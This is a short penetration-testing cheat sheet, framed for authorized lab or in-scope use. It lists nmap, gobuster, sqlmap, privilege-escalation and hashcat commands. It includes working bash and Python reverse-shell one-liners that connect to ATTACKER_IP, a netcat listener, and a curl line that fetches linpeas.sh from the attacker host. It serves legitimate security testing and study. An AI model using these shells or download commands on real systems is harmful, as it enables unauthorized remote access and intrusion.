cheatsheet

For authorized testing only — your own lab, or a program with written scope. Nothing here replaces reading the docs for the tool you're actually using.

Recon — nmap

# fast initial sweep
nmap -sV -sC -T4 -oA scan target

# full TCP port range
nmap -p- -T4 --min-rate=1000 -oA full target

# UDP top ports (slow, needs sudo)
sudo nmap -sU --top-ports 100 target

Web testing

# grab headers only
curl -sI https://target

# directory/file brute force
gobuster dir -u https://target -w wordlist.txt -x php,txt,html

# sqlmap against a GET param, through Burp
sqlmap -u "https://target/item?id=1" --batch --level=2 --risk=2 \
  --proxy=http://127.0.0.1:8080

Reverse shells

# bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'

# netcat listener
nc -lvnp 4444

# stabilize a shell once caught
python3 -c 'import pty; pty.spawn("/bin/bash")'
# then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm

Linux privesc quick checks

sudo -l                          # what can this user run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
getcap -r / 2>/dev/null          # binaries with capabilities set
cat /etc/crontab; ls -la /etc/cron.*     # scheduled jobs worth reading
uname -a; cat /etc/os-release    # kernel/version, for known exploits

For a thorough automated pass, linpeas.sh or linux-smart-enumeration cover far more ground than manual checks — see building a home lab for a safe place to run them first.

Hash identification & cracking

hashcat -m <mode> -a 0 hashes.txt rockyou.txt

Useful one-liners

# base64 encode/decode
echo -n "text" | base64
echo "dGV4dA==" | base64 -d

# quick HTTP file server to move tools onto a target
python3 -m http.server 8000

# pull a file from the target's shell
curl -O http://ATTACKER_IP:8000/linpeas.sh